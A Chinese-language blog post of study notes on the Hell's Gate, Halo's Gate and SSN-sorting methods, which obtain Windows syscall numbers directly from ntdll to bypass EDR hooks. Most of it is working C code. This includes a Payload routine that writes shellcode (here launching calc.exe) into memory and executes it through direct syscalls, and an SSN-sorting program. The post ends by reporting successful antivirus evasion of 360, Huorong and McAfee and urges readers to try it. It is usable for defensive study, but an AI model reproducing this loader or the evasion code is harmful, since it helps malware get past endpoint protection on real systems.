地狱之门/光环之门/SSN

前言:地狱之门/光环之门/SSN笔记

参考文章:https://tttang.com/archive/1464/
参考文章:https://aeverj.github.io/posts/syscall免杀/
参考文章:https://www.anquanke.com/post/id/267345

前置知识点

地狱之门/光环之门/SSN都是为了躲避EDR的钩子的产物

在创建R3进程的时候,EDR会hook用户层的相关windows API调用,从而完成对进程动态行为的监控。

比如hook VirtualAlloc来实现监控内存分配又或者hook CreateProcess来实现监控进程创建

hook操作既可以在用户层完成hook,也可以在内核层hook。

用户层hook的好处是对性能的影响较小,相对于内核层hook更稳定,不容易导致系统蓝屏,所以很多EDR会选择在用户层hook,同时在内核层使用回调监控重要的内核api调用。一个进程分配了RWX属性的内存,或者修改了内存属性,将RW的内存修改为了RWX,由于RWX内存属性是shellcode或反射型DLL加载所用的内存属性,因此EDR会对申请的内存进行扫描,匹配到恶意软件的yara规则后,将会杀死恶意进程,并向控制中心发送告警。

关于PEB结构体可以参考文章:https://www.cnblogs.com/zpchcbd/p/15940557.html

地狱之门

项目文章:https://github.com/am0nsec/HellsGate

早期产物,地狱之门出现了,为了避免在用户层被EDR hook的敏感函数检测到敏感行为,利用从ntdll中读取到的系统调用号进行系统直接调用来绕过敏感API函数的hook。

主要来应对EDR对Ring3 API的HOOK,不同版本的Windows Ntxxx 函数的系统调用号不同,且调用时需要逆向各 API 的结构方便调用。

主要做了什么操作呢?其实跟获取通过PEB获取kernel32.dll中的导出函数的操作一样,而这里的话就是通过PEB获取ntdll.dll中的导出函数

不同点就是,获取到了ntdll.dll函数的,根据函数名Hash找到函数地址,将这个函数读取出来通过0xb8这个操作码来动态获取对应的系统调用号,从而绕过内存监控

这里绕过的内存监控只是绕过了kernel32.dll中的对应的API的函数监控,因为本质kernel32.dll最终还是调用了ntdll.dll中的API函数,如果ntdll.dll默认就被hook了的话,那么这种方法就无法起到绕过监控的效果了

通过地狱之门能够帮助我们生成的宏汇编代码(MASM)来定义执行通过系统调用号调用NT函数的函数

知识点:

  • nt和zw对应的函数其实是一样的

  • VS2013中跑代码的时候,要符合C89语法,变量全部都放到前面来

代码分析

首先获取PEB结构体,微软提供了方便的函数来进行获取

PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
	return (PTEB)__readgsqword(0x30);
#else
	return (PTEB)__readfsdword(0x16);
#endif
}

接着就可以看到拿到对应的InMemoryOrderModuleList链表结构体,通过遍历获得NTDLL的模块基址

接着就是进行遍历该模块的导出表,具体的操作可以跟到GetImageExportDirectory中观察

拿到了导出表之后,这里就开始获取对应的nt函数了,比如这边的NtAllocateVirtualMemory对应的哈希值为0xf5bd373480a6b89b,然后通过对应的GetVxTableEntry函数来进行获取NtAllocateVirtualMemory函数地址

哈希判断的函数方法

DWORD64 djb2(PBYTE str) {
	DWORD64 dwHash = 0x7734773477347734;
	INT c;

	while (c = *str++)
		dwHash = ((dwHash << 0x5) + dwHash) + c;

	return dwHash;
}

主要的逻辑都在GetVxTableEntry中,如下代码所示

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
	PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
	PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
	PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

	// 函数名的数量
	for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {

		// 获取函数名
		PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
		
		// 对应的函数地址
		PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

		// 判断djb2之后是否为对应的dwHash值
		if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {

			// 是的话则填充对应的PVX_TABLE_ENTRY的pAddress为函数地址
			pVxTableEntry->pAddress = pFunctionAddress;

			// Quick and dirty fix in case the function has been hooked
			WORD cw = 0;
			while (TRUE) {
				// check if syscall, in this case we are too far
				if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
					return FALSE;

				// check if ret, in this case we are also probaly too far
				if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
					return FALSE;

				// First opcodes should be :
				//    MOV R10, RCX
				//    MOV RCX, <syscall>
				// 只有符合mov r10, rcx -> mov rcx <syscall> 的机器码才是可以进行系统调用的
				if (*((PBYTE)pFunctionAddress + cw) == 0x4c
					&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
					&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
					&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
					&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
					&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
					BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
					BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
					pVxTableEntry->wSystemCall = (high << 8) | low;
					break;
				}

				cw++;
			};
		}
	}

	return TRUE;
}

其中的就是需要符合系统调用的格式,我们这里可以用ida打开一个ntdll.dll来进行观察机器码,正好是匹配的

if (*((PBYTE)pFunctionAddress + cw) == 0x4c && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
  BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
  BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
  pVxTableEntry->wSystemCall = (high << 8) | low;
  break;
}

其中PVX_TABLE_ENTRY是一个大的结构体,其中每个VX_TABLE_ENTRY条目都是用来存储每个对应的函数的地址的,只要能够匹配成功,那么就会将对应的信息都填入到PVX_TABLE_ENTRY结构体中对应的VX_TABLE_ENTRY中去

typedef struct _VX_TABLE_ENTRY {
	PVOID   pAddress;
	DWORD64 dwHash;
	WORD    wSystemCall;
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory;
	VX_TABLE_ENTRY NtProtectVirtualMemory;
	VX_TABLE_ENTRY NtCreateThreadEx;
	VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, *PVX_TABLE;

都找完了之后最后就会执行Payload方法

这里再提及下关于下面两个判断的作用

这种直接syscall的情况下则跳过

// 直接syscall的情况
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
  return FALSE;

这种retn的情况下也跳过

// retn的情况
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
  return FALSE;

使用方法

这里测试下calc,如下的shellcode为calc,运行结果如下所示

BOOL Payload(PVX_TABLE pVxTable) {
	NTSTATUS status = 0x00000000;
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	// Allocate memory for the shellcode
	PVOID lpAddress = NULL;
	SIZE_T sDataSize = sizeof(shellcode);
	HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
	status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

	// Write Memory
	VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));

	// Change page permissions
	ULONG ulOldProtect = 0;
	HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
	status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

	// Create thread
	HANDLE hHostThread = INVALID_HANDLE_VALUE;
	HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
	status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

	// Wait for 1 seconds
	LARGE_INTEGER Timeout;
	Timeout.QuadPart = -10000000;
	HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
	status = HellDescent(hHostThread, FALSE, &Timeout);

	return TRUE;
}

如何才能知道所有的函数对应的HASH值

这里的话我直接通过printf打印来进行全部打印出来即可

printf("%s -> 0x%I64x\n", pczFunctionName, djb2((PBYTE)pczFunctionName));

打印结果如下图所示

光环之门

光环之门代码地址:https://github.com/trickster0/TartarusGate

光环之门详情:https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html

地狱之门也有一个缺点,就是当我们需要调用的NT函数已经被AV/EDR所Hook,那我们就无法通过地狱之门来动态获取它的系统调用号

ntdll.dll中有个规律,可以看到如下图所示,对应的zw函数的调用号其实是根据地址上到下来分配的,所以是逐渐递增的

其中 https://github.com/trickster0/TartarusGate/blob/master/HellsGate/hellsgate.asm 为了防止AV检测,还做了NOP的操作

https://github.com/trickster0/TartarusGate/blob/master/HellsGate/main.c 比起地狱之门唯一的区别的逻辑就是在GetVxTableEntry函数中

首先可以看到如果判断为syscall调用的代码的话,那么直接填充对应wSystemCall字段中去

而如果当前的机器码为0xe9的话,那么则判断为被hook,那么就会在当前hook的上部分和下部分进行遍历获取未hook的函数的调用号然后根据idx来计算填充

SSN系统调用地址排序

优点:这种方法不需要unhook,不需要手动从代码存根中读取,也不需要加载NTDLL新副本

ntdll.dll中的特性就是所有的Zw函数是根据函数地址的大小来进行排序的,所以我们就只需要遍历所有Zw函数,记录其函数名和函数地址,最后将其按照函数地址升序排列后,每个函数的调用号就是其对应的排列顺序的索引号

#include<iostream>
#include<map>
#include<string>
#include<Windows.h>
#include "structs.h"

using namespace std;

int main()
{
	std::map<int, string> Nt_Table;
	PBYTE ImageBase;
	PIMAGE_DOS_HEADER Dos = NULL;
	PIMAGE_NT_HEADERS Nt = NULL;
	PIMAGE_FILE_HEADER File = NULL;
	PIMAGE_OPTIONAL_HEADER Optional = NULL;
	PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;

	PPEB Peb = (PPEB)__readgsqword(0x60);
	PLDR_MODULE pLoadModule;

	pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
	ImageBase = (PBYTE)pLoadModule->BaseAddress;

	Dos = (PIMAGE_DOS_HEADER)ImageBase;
	if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
		return 1;
	Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
	File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
	Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
	ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);

	PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
	PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
	PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
	for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
	{
		PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
		PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
		if (strncmp((char*)pczFunctionName, "Zw", 2) == 0) {
			Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
		}
	}
	int index = 0;
	for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
		cout << "index:" << index << ' ' << iter->second << endl;
		index += 1;
	}
}

对比IDA中的索引号0和1可以看到刚好配对ZwAccessCheck和ZwWorkerFactoryWorkerReady

小tips 2022-11-08

自己测试下配合SysWhispers2的uuid加载器简单的实现360 defender 火绒 麦咖啡的免杀,感兴趣的小伙伴也可以自己尝试下

posted @ 2022-11-05 15:54  zpchcbd  阅读(1934)  评论(0编辑  收藏  举报